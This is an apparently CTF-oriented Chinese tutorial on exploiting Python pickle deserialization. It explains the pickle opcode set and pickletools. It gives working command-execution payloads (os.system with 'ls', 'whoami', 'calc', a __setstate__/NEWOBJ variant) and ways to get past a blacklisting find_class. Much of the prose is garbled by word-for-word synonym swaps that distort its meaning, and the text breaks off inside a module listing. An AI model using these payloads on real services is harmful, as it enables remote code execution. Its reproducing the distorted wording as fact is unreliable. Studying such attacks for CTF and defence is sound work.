工具是数据和功能的结合体。Python是一种面向工具编程措辞,它利用工具来组织代码和数据。在Python中,险些所有的东西都是工具,包括整数、浮点数、列表、元组、字典、函数、类等。
一个Python工具常日包含以下部分:
python是一门面向工具的措辞.也正由于python面向工具的特性,使得我们有更加丰富的选择进行绕过.

在Python中,面向工具的思想和php是同等的,只是定义类的代码,调用类函数和类属性的办法和php不同.
python中用.调用实例的属性和方法
python中存在类属性和实例属性,实例属性只对一个实例生效,类属性对一个类生效.定义实例属性的方法是用__init__魔术方法.调用类属性的方法是类名.变量名或者self.__class__.变量名.
同样地,python的面向工具也有私有属性,私有方法,类的继续等.
序列化和反序列化序列化便是将一个工具转换为以字符串办法存储的过程,反序列化便是将字符串重新变为一个工具的实例.
把稳,在linux下和windows下进行序列化的操作的结果可能会有所不同,在做题时须要根据靶机的系统选择用windows还是linux进行序列化操作.
关于序列化和反序列化的函数pickle.dump()pickle.load()pickle.dumps()pickle.loads()个中两个dump函数是把python工具转换为二进制工具的,两个load函数是把二进制工具转换为python工具的.
而s函数是指对字符串进行反序列化和序列化操作,其余两个函数是对文件进行操作.
python魔术方法和php类似,python魔术方法也会在一些特定情形下被自动调用.我们尤其要把稳的是__reduce__魔术方法,这会在反序列化过程开始时被调用,以是我们可以序列化一个__reduce__魔术方法中有系统命令的实例并且让做事器将它反序列化,从而达到任意命令实行的效果.
除此之外还有很多魔术方法.例如初始化函数__init__和布局函数__new__.和php类似,python中也有邪术属性.例如__doc__,__name__,__class__,__base__等.
pickle.loads()会在反序列化一个实例时自动引入没有引入的库.
布局方法__new__
在实例化一个类时自动被调用,是类的布局方法.可以通过重写__new__自定义类的实例化过程初始化方法__init__
在__new__方法之后被调用,紧张卖力定义类的属性,以初始化实例析构方法__del__
在实例将被销毁时调用只在实例的所有调用结束后才会被调用__getattr__
获取不存在的工具属性时被触发存在返回值__setattr__
设置工具成员值的时候触发传入一个self,一个要设置的属性名称,一个属性的值__repr__
在实例被传入repr()时被调用必须返回字符串__call__
把工具当作函数调用时触发__len__
被传入len()时调用返回一个整型__str__
被str(),format(),print()调用时调用,返回一个字符串Python分外属性object.__dict__一个字典或其他类型的映射工具,用于存储工具的(可写)属性。instance._class\_类实例所属的类。class._bases\_由类工具的基类所组成的元组。definition._name\_类、函数、方法、描述器或天生器实例的名称。definition._qualname\_类、函数、方法、描述器或天生器实例的 qualified name。栈栈是一种存储数据的构造.栈有压栈和弹栈两种操作.
可以把栈看做一个弹夹,前辈栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹.
什么是PVMpickle是一种栈措辞,它由一串串opcode(指令集)组成.该措辞的解析是依赖Pickle Virtual Machine (PVM)进行的.
为什么要学习pickle?
pickle实际上可以看作一种独立的措辞,通过对opcode的编写可以进行Python代码实行、覆盖变量等操作。直接编写的opcode灵巧性比利用pickle序列化天生的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle天生能力)。
PVM由以下三部分组成
指令处理器:从流中读取 opcode 和参数,并对其进行阐明处理。重复这个动作,直到碰着 . 这个结束符后停滞。 终极留在栈顶的值将被作为反序列化工具返回。stack:由 Python 的 list 实现,被用来临时存储数据、参数以及工具。memo:由 Python 的 dict 实现,为 PVM 的全体生命周期供应存储。常用opcode在Python的pickle.py中,我们能够找到所有的opcode及其阐明,常用的opcode如下,这里我们以V0版本为例
指令
描述
详细写法
栈上的变革
c
获取一个全局工具或import一个模块
c[module]\n[instance]\n
得到的工具入栈
o
探求栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,实行该函数(或实例化一个工具)
o
这个过程中涉及到的数据都出栈,函数的返回值(或天生的工具)入栈
i
相称于c和o的组合,先获取一个全局函数,然后探求栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数实行全局函数(或实例化一个工具)
i[module]\n[callable]\n
这个过程中涉及到的数据都出栈,函数返回值(或天生的工具)入栈
N
实例化一个None
N
得到的工具入栈
S
实例化一个字符串工具
S'xxx'\n(也可以利用双引号、\'等python字符串形式)
得到的工具入栈
V
实例化一个UNICODE字符串工具
Vxxx\n
得到的工具入栈
I
实例化一个int工具
Ixxx\n
得到的工具入栈
F
实例化一个float工具
Fx.x\n
得到的工具入栈
R
选择栈上的第一个工具作为函数、第二个工具作为参数(第二个工具必须为元组),然后调用该函数
R
函数和参数出栈,函数的返回值入栈
.
程序结束,栈顶的一个元素作为pickle.loads()的返回值
.
无
(
向栈中压入一个MARK标记
(
MARK标记入栈
t
探求栈中的上一个MARK,并组合之间的数据为元组
t
MARK标记以及被组合的数据出栈,得到的工具入栈
)
向栈中直接压入一个空元组
)
空元组入栈
l
探求栈中的上一个MARK,并组合之间的数据为列表
l
MARK标记以及被组合的数据出栈,得到的工具入栈
]
向栈中直接压入一个空列表
]
空列表入栈
d
探求栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)
d
MARK标记以及被组合的数据出栈,得到的工具入栈
}
向栈中直接压入一个空字典
}
空字典入栈
p
将栈顶工具储存至memo_n
pn\n
无
g
将memo_n的工具压栈
gn\n
工具被压栈
0
丢弃栈顶工具
0
栈顶工具被丢弃
b
利用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(工具实例)进行属性设置
b
栈上第一个元素出栈
s
将栈的第一个和第二个工具作为key-value对,添加或更新到栈的第三个工具(必须为列表或字典,列表以数字作为key)中
s
第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u
探求栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
u
MARK标记以及被组合的数据出栈,字典被更新
a
将栈的第一个元素append到第二个元素(列表)中
a
栈顶元素出栈,第二个元素(列表)被更新
e
探求栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中
e
MARK标记以及被组合的数据出栈,列表被更新
比较全的指令集
# Pickle opcodes. See pickletools.py for extensive docs. The listing# here is in kind-of alphabetical order of 1-character pickle code.# pickletools groups them by purpose.# 解释:# 1.如果对栈顶元素只说了取出,而没有说弹出的话那就解释只是将栈顶元素复制一份放到一个变量或者便是后面的操为难刁难栈顶元素进行更新修正,但是这个栈顶元素是不会弹出的# 2.部分解释中对数据进行操作先弹出然后进行操作再进行压栈,但是对照源码可能是对栈数组直接进行直接截取而并没有pop弹出或者append的压栈操作,我这里描述为弹出和压栈的过程是为了便于理解# 3.用于指定后面须要读取的数据大小的字节读出来之后,有可能是按照字符字面大小读取,也可能是按照其16进制大小进行数据读取,例如字符'1'='\x31',0x31=49可能是读取1字节大小也肯能是读取49字节大小,把稳我的注释描述# 4._struct.unpack解压<i格式数据的时候须要传入4字节大小的数据,然后会把4个字节旁边顺序调换,得到一个8位的16进制数,末了将其转为一个10进制整数,例如_struct.unpack('<i', b'\x00\x01\x00\x00')[0]=>0x00001000=>256# 5.struct.unpack解压<Q格式数据则是须要传入8字节大小数据,转换操作同上,例如unpack('<Q', b'\x00\x01\x00\x00\x00\x00\x00\x00')[0] => 0x0000000000000100 => 256MARK = b'(' #向栈中压入一个Mark标记STOP = b'.' #相称于停滞当前的反序列化过程POP = b'0' #从栈中pop出一个元素,便是删除栈顶元素POP_MARK = b'1' #从栈中不断pop元素直到碰着Mark标记DUP = b'2' #向栈中再压入一个当前的栈顶元素,便是复制一份当前栈顶元素然后进行压栈FLOAT = b'F' #读取当前行到行末端,然后转为float类型,向栈中压入一个float浮点数INT = b'I' #向栈中压入一个int整数,整数便是当前行的末了一个字节,不过如果整数为01的时候压入的是True,为00的时候压入的是FalseBININT = b'J' #从后面的输入中读取4个字节并且利用unpack通过'<i'的格式将4字节的buffer数据解包转为int类型,后面不能换行,直接家下一步的操作b"(S'a'\nK\x01\x01\x01\x01."BININT1 = b'K' #和上面BININT一样,不过K操作只读取一个字节的数据b"(S'a'\nK\x01."LONG = b'L' #读取当前行到行末端,然后转为int类型,但如果后面是字符L的话会先去掉末了一个字符L再转intBININT2 = b'M' #从后面的输入中读取2个字节并且利用unpack通过'<H'的格式将2字节的buffer作为一个2进制数解包为int,后面不能换行,直接加下一步的操作b"(S'a'\nM\x01\x01."NONE = b'N' #向栈中压入一个None元素,后面不能换行,直接加下一步的操作b"(S'a'\nN."PERSID = b'P' #读取当前行到行末端,将读取到的数据作为id,通过persistent_load函数得到obj工具返回后将obj工具压栈,默认情形没用,要重写persistent_load函数才能生效BINPERSID = b'Q' #和上面浸染一样,从当前栈中弹出一个元素作为id,通过persistent_load...REDUCE = b'R' #从当前栈中弹出两次元素,第一次是函数参数args,第二次是函数func,实行func(args)STRING = b'S' #向栈中压入一个string字符串,内容便是后面的数据,后面的字符串第一个和末了一个必须是单引号b"(S'a'\nS''a''\n."BINSTRING = b'T' #从后面数据读取4字节数据,通过unpack利用<i格式将数据解压后变为int类型, 然后将其作为一个长度, 后面读取这个指定长度的数据作为字符串进行压栈b"(S'a'\nT\x10\x00\x00\x000123456789abcdef."# _struct.unpack('<i', b"\x10\x00\x00\x00") => (16,)SHORT_BINSTRING= b'U' #先读取一个字节数据作为长度,然后按照这个长度读取字符串,读出的字符串压栈UNICODE = b'V' #读出当前行后面的全部数据,然后进行Unicode解码,将解码内容压栈b'V\\u0061\n.'BINUNICODE = b'X' #读出4字节数据通过unpack利用<I格式解压,将解压得到的数据作为长度,然后进行数据读取b'X\x10\x00\x00\x00abcdef0123456789.'APPEND = b'a' #先pop出栈一个变量var1,然后获取当前栈顶元素var2,实行栈顶元素的append函数,便是将一开始的栈顶元素弹出,然后又加到下一个栈顶数组中b"]S'S1nKk'\na." => 得到['S1nKk']BUILD = b'b' #这个操作便是设置元素属性的操作# 先pop出栈一个变量var1,然后获取当前栈顶元素var2,获取var2的__setstate__子成员作为var3,如果var3非空,那就实行var3(var1),这个操作正常便是通过__setstate__设置变量的属性# 但是上面的var3为空也有别的处理:# 1.检讨var1是否为tuple类型且长度为2,如果是的话那就将其分别赋值为state,slotstate# 2.检讨state是否为空,如果不为空考试测验取出state.items()然后利用k,v键值对的办法便利,末了通过修正var2.__dict__的办法修正var2的属性,也便是使得var2[k]=v,var2.k=v# 3.检讨slotstate是否为空,如果不为空和第2步一样,取出slotstate.items()通过k,v键值对办法遍历,然后利用setattr方法设置var2属性,末了效果也是var2[k]=v,var2.k=vGLOBAL = b'c' #导入一个模块,首先读取当前行后面的全部内容适应utf-8解码得到的字符串作为module,然后再读出下一行的内容同样解析出字符串作为那么,末了导入module.name这个包DICT = b'd' #将栈中的数据弹出到上一个Mark为止,然后按照key:value的办法逐个解析然后放入到一个字典中,将末了得到的字典压栈b"(S'key1'\nS'val1'\nS'key2'\nS'val2'\nd." => {'key1': 'val1', 'key2': 'val2'}EMPTY_DICT = b'}' #没什么好说的,便是往栈中压入一个空字典APPENDS = b'e' #先将栈中元素不断弹出知道Mark标记,然后将弹出的全部元素放入items中,再取出栈顶作为list_obj,之后实行下面两步操作:# 1.先取出extend=list_obj.extend,然后实行extend(items)# 2.取出append = list_obj.append,然后利用for循环遍历items得到item,然后每次循环都实行一次append(item)# 看到这里该当想到函数触发的方法,我们只须要利用b操作将list_obj的extend改为一个危险的函数方法,然后再让参数进入items,就可以通过extend(items)的办法调用任意布局的危险函数了GET = b'g' #读取后面的全部本行数据,然后转为int类型放入变量i中,利用i作为索引,从缓存区取出数据mem[i],然后将这个从缓存中取出的变量压栈BINGET = b'h' #后面读取一个字节的数据,然后利用字符16进制大小作为下标索引,从缓存mem中读数据,将读出的内容压栈,下面便是一个获取缓存中下标为1的数据的实例b"S'h0cksr'\np1\nS't'\n0h\x01."INST = b'i' #两次pop出栈读出数据并且均进行解码操作使其变为字符串格式,# 1. 第一第二次弹出的数据分别放入module和name中,先导入moudle模块,然后name通过.逐个获取出里面的子成员,末了返回目标子成员(可能是函数也可能是类或变量)var1# 2. 连续进行出栈,直到碰着Mark标志,将出栈的数据作为参数,var1位方法,实行var1(Mark弹出数据)# 3. 将天生的实例化工具压栈LONG_BINGET = b'j' #先读出4字节大小数据流,然后通过unpack利用<I格式解压得到int类型数据i,将i作为下标,从缓存中获取变量mem[i],将获取到的数据压栈LIST = b'l' #将上一次Mark之后的数据全部弹出,并且将其存放到一个数组中,然后在将这个数组压栈b"(S'S1nKk'\np1\nS't'\nl."EMPTY_LIST = b']' #没什么好说,往栈中压入一个空数组OBJ = b'o' #先是将上一次Mark之后的数据全部弹出,得到一个数组var1,然后又在var1中pop取出末了一个数据作为var2,之后实行以下过程:# 1.检讨弹出数据后的var1数组是否为空,如果var1非空,或者弹出的var2属于type类型,或者弹出的var2有__getinitargs__属性成员,那么就会实行var2(var1)# 2.如果以上条件均不知足,那就实行var2.__new__(var2)# 3.将实行结果压入栈中PUT = b'p' #读取后面全部当前行的数据,然后转为int类型的变量i,然后赋值当前栈顶元素存到memo[i]中BINPUT = b'q' #和上一个一样,不同的是下标i是通过读取1个字节的数据,然后直接当做下标LONG_BINPUT = b'r' #和上一个一样,不同的是下标i是通过读取4个字节的数据,然后通过unpack利用<I模式解压得到的整数当做下标SETITEM = b's' #先在栈中pop弹出第一个数据作为value,然后在pop弹出第二个元素作为key,再获取当前栈顶元素记为dict,给栈顶元素赋值dict[key]=valueTUPLE = b't' #弹出上一次Mark之后的全部数据大农一个list数组中,然后利用tuple函数将其转为元组格式再把这个元组压入栈中EMPTY_TUPLE = b')' #没什么好说,往栈中压入一个空元组SETITEMS = b'u' #先弹出上一次Mark之后的全部元素放入一个数组items中,然后获取栈顶元素记为dict,通过i=0,2,3...获取items中的数据,实行dict[items[i]] = items[i + 1]给栈顶的字典元素添加键值对BINFLOAT = b'G' #先读取8字节数据,然后利用unpack通过<d格式的解压,将得到的float数据压栈TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.pyFALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py# Protocol 2PROTO = b'\x80' #用于声明pickle协议版本NEWOBJ = b'\x81'#(这个很有用) #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, var1)天生实例化工具,然后将天生的工具压栈EXT1 = b'\x82' #'''\x82,\x83,\x84这三个操作都是和extension registry扩展注册表有关的,但是拓展注册表紧张掩护4个从copyreg导入的映射字典EXT2 = b'\x83' # dispatch_tablecopyreg, _extension_registry, _inverted_registry, _extension_cacheEXT4 = b'\x84' # 但是从头到尾貌似这几个核心表单都没有发生过变革(也可能是我没把稳到而已)'''TUPLE1 = b'\x85' #将栈顶元素弹出放到一个元组中再将这个元组压栈,便是将栈顶放到一个元组里面的浸染b"S'S1nk'\n\x85." => ('S1nk',)TUPLE2 = b'\x86' #将栈顶的两个元素弹出,栈顶弹出为var1,连续弹出一个为var2,然后组成一个元组然后将这个元组压栈,得到(var2,var1),b"S'S1nk'\nS'S1nKk'\n\x86." => ('S1nk', 'S1nKk')TUPLE3 = b'\x87' #和上面一样,不足该操作是弹出三个元素形成元组b"S'S1nK'\nS'S11nK'\nS'S111nK'\n\x87." => ('S1nK', 'S11nK', 'S111nk')NEWTRUE = b'\x88' #向栈中压入一个TrueNEWFALSE = b'\x89' #向栈中压入一个FalseLONG1 = b'\x8a' #先读取一个字节,以该字节16进制数为大小size,从后面的数据读取size个字节,然后将读取到的数据转为long类型LONG4 = b'\x8b' #读取4字节数据,通过unpack的<i格式将数据解压得到一个整数,以这个整数为字节大小读取后面的数据_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]#便是元组操作合集,分别是向栈中压入空数组,将末了1个元素放入元组后将元组压栈,将末了2个元素放入元组后将元组压栈,将末了3个元素放入元组后将元组压栈# Protocol 3 (Python 3.x)#这里要把稳一下,后面的操作是有python3方才支持BINBYTES = b'B' #先读取4字节数据通过unpack利用<i格式将数据解压,将得到的结果作为大小向后读取相应字节数,然后将读取到的全部字节压栈,把稳一下,压栈的是原始的比特流数据b'B\x06\x00\x00\x00h0cksr.' => b'S1nKk'SHORT_BINBYTES = b'C' #读取一个字节,以它的16进制数作为大小向后读取对应字节的数据b'C\x06h0cksr.' => b'S1nKk'# Protocol 4SHORT_BINUNICODE = b'\x8c' #先读取一个字节,以这个字节的16进制为大小向后读取对应字节的数据,然后利用utf-8的格式解码数据为字符串格式,然后将这个字符串压栈b'\x8c\x06S1nKk.' => S1nKkBINUNICODE8 = b'\x8d' #先读取8字节数据然后通过unpack利用<Q格式解压数据,将得到的结果作为大小向后读取相应字节数,然后将读取到的数据利用utf-8格式解压为字符串,将字符串压栈b'\x8d\x06\x00\x00\x00\x00\x00\x00\x00h0cksr.' => h0cksrBINBYTES8 = b'\x8e' #同上读取8字节数据<Q格式解压,然后读取数据,但是直接将比特流数据压栈而不会解码b'\x8e\x06\x00\x00\x00\x00\x00\x00\x00S1nKk.' => b'S1nKk'EMPTY_SET = b'\x8f' #向栈中压入一个set类型的空凑集(set()没有指定iterable的时候返回的是一个空凑集)ADDITEMS = b'\x90' #先pop弹出一个元素作为items,记栈顶元素为top,然后检讨top是否为set类型,如果是的话就实行top.update(items),如果top不是set类型那就利用for遍历items,逐个实行top.add(item)FROZENSET = b'\x91' #弹出栈顶元素作为items,然后实行frozenset(items)天生一个frozenset类型的变量,并将这个变量压栈NEWOBJ_EX = b'\x92'#(这个很有用) #和NEWOBJ差不多,先从栈中弹出三个元素,第一个,第二个,第三个弹出的元素分别记为var1,var2,var3,然后实行cls.__new__(var3, var2, var1)之后将实行天生的工具压栈STACK_GLOBAL = b'\x93'#(这个很有用) #和GLOBAL操作一样但是导入的模块从栈上获取,先弹出一个元素为name,然后再弹出一个元素moudle,哀求两个元素都必须是字符串类型,然后到处moudle.name,在将导出的内容压栈b"S'os'\nS'system'\n\x93." => os.systemMEMOIZE = b'\x94' #将当前栈顶元素添加到缓存列表的末端(把稳栈顶不会弹出)FRAME = b'\x95' #后面先是读取8字节数据通过unpack利用<Q格式将数据解压得到的结果作为大小,向后读取对应字节的数据,然后将读取到的数据进行正常pickle反序列化(觉得用不用这个操作没啥差别,但是细节差别的话看源码)
爱来自h0cksr师傅
pickletools的利用pickletools是python的一个内建模块,常用的方法有pickletools.dis(),用于把一段opcode转换为易读的形式,如
import pickletoolsopcode = b'''c__main__secret(S'secret'S'Hack!!!'db.'''pickletools.dis(opcode)
输出
0: c GLOBAL '__main__ secret' 17: ( MARK 18: S STRING 'secret' 28: S STRING 'Hack!!!' 39: d DICT (MARK at 17) 40: b BUILD 41: . STOPhighest protocol among opcodes = 0
pker的利用
pker是一个可以把python措辞翻译成opcode的工具.
pker支持这三种操作
变量赋值:左值可以是变量名,dict或list的item,工具成员右值可以是根本类型字面量,函数调用函数调用return:可返回0~1个参数pker内置了三个函数
GLOBAL('os', 'system') => cos\nsystem\nINST('os', 'system', 'ls') => (S'ls'\nios\nsystem\nOBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
可以用return返回一个工具
return => .return var => g_\n.return 1 => I1\n.#pker_test.pyi = 0s = 'id'lst = [i]tpl = (0,)dct = {tpl: 0}system = GLOBAL('os', 'system')system(s)return#命令行下$ python3 pker.py < pker_tests.pyb"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."
利用变量覆盖
假设存在类Secret,类有一个name属性,那我们可以通过pickle反序列化修正这个属性的值.
import pickleimport pickletoolsclass Secret: def __init__(self, name): self.name = names=Secret("S1nKk")opcode=b"""c__main__s(S'name'S'Funny_M0nk3y'db."""pickle.loads(opcode)print(s.name)# pickletools.dis(opcode)
成功输出Funny_M0nk3y,表示成功修改属性
逐行解读一下opcode
opcode=b"""c__main__s#向栈中压入被实例化的s(S'name'#压入一个MARK,再压入一个'name'字符串S'Funny_M0n3ky'#压入一个ghddb."""#d操作符弹出'name'和ghd,压入一个字典{name:Funny_M0nk3y}#b操作符弹出字典,并用字典中的键值对{name:Funny_M0nk3y}给s赋值(相称于实行了s的__init__),完成了修改
RCE
可以利用R,i,o,b等操作码实现命令实行.
c操作符先提一下用的最多的c操作符,个中find_class()函数很关键,在对危险函数的过滤和绕过中也会提到这个函数.
def load_global(self): module = self.readline()[:-1].decode("utf-8") name = self.readline()[:-1].decode("utf-8")#获取moudle和name klass = self.find_class(module, name)#利用find_class()获取函数 self.append(klass)#压栈def find_class(self, module, name): # Subclasses may override this. sys.audit('pickle.find_class', module, name) if self.proto < 3 and self.fix_imports: if (module, name) in _compat_pickle.NAME_MAPPING: module, name = _compat_pickle.NAME_MAPPING[(module, name)] elif module in _compat_pickle.IMPORT_MAPPING: module = _compat_pickle.IMPORT_MAPPING[module] __import__(module, level=0) if self.proto >= 4: return _getattribute(sys.modules[module], name)[0] else: return getattr(sys.modules[module], name)
c操作符把find_class()函数返回的一个类工具压入栈,通过__import__()引入了模块并且通过self.proto判断pickle版本处理了不同版本的函数名称问题.
R操作符源码
def load_reduce(self): stack = self.stack args = stack.pop()#栈顶的元组出栈,把元组赋值给args func = stack[-1] #stack[-1]是出栈操作,索引值为-1代表末了一个进入列表的元素(反向索引) stack[-1] = func(args)#func出栈,func的返回值进栈 #''操作符用作解包,把元组里的元素作为未知参数通报给func
用R操作符布局的payload模板
c<module><callable>(<args>tR.
e.g.
cossystem #用c操作符引入os.system,也便是把os.system压入栈(S'ls' #先把MARK压入栈,再把ls压入栈tR. #t操作符把ls出栈,元组(ls)入栈 #R操作符把元组作为os.system的参数传入并实行<=> __import__('os').system(('ls',))
o操作符
def load_obj(self): # Stack is ... markobject classobject arg1 arg2 ... args = self.pop_mark() cls = args.pop(0) self._instantiate(cls, args)
探求栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,实行该函数(或实例化一个工具)
i操作符def load_inst(self): module = self.readline()[:-1].decode("ascii") name = self.readline()[:-1].decode("ascii") klass = self.find_class(module, name) self._instantiate(klass, self.pop_mark())
源码不是很随意马虎懂,i像是o和c的结合,先获取一个全局函数,然后探求栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数实行全局函数(或实例化一个工具).
b操作符def load_build(self): stack = self.stack state = stack.pop() # 首先获取栈上的字节码 b 前的一个元素,对付工具来说,该元素一样平常是存储有工具属性的dict inst = stack[-1] #获取该字典中键名为"__setstate__"的value setstate = getattr(inst, "__setstate__", None) #如果存在,则实行value(state) if setstate is not None: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state #如果"__setstate__"为空,则state与工具默认的__dict__合并,这一步实在便是将序列化前保存的持久化属性和工具属性字典合并 if state:#如果state不是False,None,0或者非空序列,就步入 inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v else: inst_dict[k] = v #如果__setstate__和__getstate__都没有设置,则加载默认__dict__ if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD[0]] = load_build
大略地说,b操作符有两种用法
向一个实例中插入属性,或覆盖属性以一个实例的__setstate__属性为func,b的前一个元素当作arg,实行func(arg)b操作符的事情办法:
弹栈,此元素为state.取栈顶元素,此元素为setstate.此元素可以是一个实例,也可以是一个字典.如果是一个实例,那么会考试测验获取这个实例的__setstate__属性的值.如果__setstate__存在,那么实行setstate(state).如果__setstate__不存在,判断state的类型.如果是元组,并且元组中只有两个元素,那么就按顺序给state和slotstate赋元组中的元素,然后根据state字典中的键值对给inst.__dict__更新属性的值.如果slotstate是一个字典,那么也根据slotstate的键值对给inst更新属性的值.如果不是元组,那么就根据state字典中的值更新inst.__dict__的值.由于存在
if setstate is not None: setstate(state) return
这一功能,那么b操作符天经地义地可以用来进行命令实行.
b操作符的利用模板
b'c__main__\ns1nk\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
用pickletools看一下过程.
0: c GLOBAL '__main__ s1nk' #引入一个模块 15: ) EMPTY_TUPLE #压入一个空元组 16: \x81 NEWOBJ #创建一个c引入模块的实例,并以元组作为传入的元素 17: } EMPTY_DICT #压入一个空字典 18: X BINUNICODE '__setstate__' #压入一个字符串"__setstate__” 35: c GLOBAL 'os system' #压入一个os.system模块 46: s SETITEM #弹出两个元素,分别作为value和key,再取当前栈顶元素为dict,dict[key]=value 47: b BUILD #实例没有__setstate__属性,那么就把字典的键值对赋给实例 48: X BINUNICODE 'whoami' #压入字符串"whoami” 59: b BUILD #实例有__setstate__属性,实行了os.system(whoami) 60: . STOPhighest protocol among opcodes = 2c__main__name}(S"__setstate__" # } 压入空dict __setstate__,然后 c push进去我们的 os.systemcossystemubS"calc" # 实行第一次 b ,由于现在并没有 b ,以是实行 __dict__.update,也便是将我们前面的 {"__setstate__":os.system} 压入栈b. # 再次实行 b 由于已经有了__setstate__,以是会将栈中字节码 b 的前一个元素当作 state,实行__setstate__(state),
这个payload看似是可行的,但是详细运行时会报错TypeError: 'mappingproxy' object does not support item assignment.
在Python中,利用class.__dict__调用一个类的属性会返回一个不可变字典(mappingproxy),如果对这个字典进行更新就会报错.那么第一个payload为什么能用呢??
所有实例属性都存储在 dict 字典中,这便是一个常规的 dict,对付实例属性的掩护即是从该字典中获取和修正类属性利用的字典是一个 MappingProxyType 工具,它是一个不能 setattr 的字典。这意味着它对开拓者是只读的.
也便是说,我们只能修正一个实例的inst.__dict__,而不能修正一个类的class.__dict__.
重点关注\x81这个操作符.这个payload通过\x81操作符对c引入的__main__.s1nk实例化,进而实现了对__main__.s1nk一个实例的属性的修正.
绕过重写find_class()的思路一 获取危险函数Python是一门面向工具属性很重的措辞.也便是说在Python中险些统统皆为工具.这也为我们的绕过供应的不小的便利.
比如这样重写
import pickleimport ioimport builtinsclass RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
这种过滤究竟是针对了find_class()函数,只要我们在利用c操作符和i时不违反规定即可.在本题中是不能通过find_class()函数调用黑名单中的函数.
和SSTI和沙箱逃逸的思路类似,可以通过布局类工具链调用某些方法中含有危险函数的类实现绕过.我们只须要布局形如builtins.getattr(builtins,"eval")(command)的payload即可实现绕过.在pickle反序列化中的一个难点便是如何用opcode表示出我们须要的命令.
利用sys.module获取危险函数sys.module是一个全局字典,其紧张用于存储已经被加载到当前会话中的你快.这个知识点会在学习沙箱逃逸的时候重点学习.sys.modules这个字典的键是模块名,值是模块本身.以是我们可以通过get(sys.modules,"moduleName")的方法获取危险模块.
>>> sys.modules{'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, 'winreg': <module 'winreg' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'nt': <module 'nt' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from 'C:\\Python311\\Lib\\encodings\\aliases.py'>, 'encodings': <module 'encodings' from 'C:\\Python311\\Lib\\encodings\\__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from 'C:\\Python311\\Lib\\encodings\\utf_8.py'>, '_codecs_cn': <module '_codecs_cn' (built-in)>, '_multibytecodec': <module '_multibytecodec' (built-in)>, 'encodings.gbk': <module 'encodings.gbk' from 'C:\\Python311\\Lib\\encodings\\gbk.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' (built-in)>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, '_winapi': <module '_winapi' (built-in)>, 'ntpath': <module 'ntpath' (frozen)>, 'os.path': <module 'ntpath' (frozen)>, 'os': <module 'os' (frozen)>, '_sitebuiltins': <module '_sitebuiltins' (frozen)>, '_distutils_hack': <module '_distutils_hack' from 'C:\\Python311\\Lib\\site-packages\\_distutils_hack\\__init__.py'>, 'pywin32_system32': <module 'pywin32_system32' (<_frozen_importlib_external.NamespaceLoader object at 0x000002387C3F5C50>)>, 'pywin32_bootstrap': <module 'pywin32_bootstrap' from 'C:\\Python311\\Lib\\site-packages\\win32\\lib\\pywin32_bootstrap.py'>, 'site': <module 'site' (frozen)>, 'atexit': <module 'atexit' (built-in)>, '_ast': <module '_ast' (built-in)>, 'itertools': <module 'itertools' (built-in)>, 'keyword': <module 'keyword' from 'C:\\Python311\\Lib\\keyword.py'>, '_operator': <module '_operator' (built-in)>, 'operator': <module 'operator' from 'C:\\Python311\\Lib\\operator.py'>, 'reprlib': <module 'reprlib' from 'C:\\Python311\\Lib\\reprlib.py'>, '_collections': <module '_collections' (built-in)>, 'collections': <module 'collections' from 'C:\\Python311\\Lib\\collections\\__init__.py'>, 'types': <module 'types' from 'C:\\Python311\\Lib\\types.py'>, '_functools': <module '_functools' (built-in)>, 'functools': <module 'functools' from 'C:\\Python311\\Lib\\functools.py'>, 'contextlib': <module 'contextlib' from 'C:\\Python311\\Lib\\contextlib.py'>, 'enum': <module 'enum' from 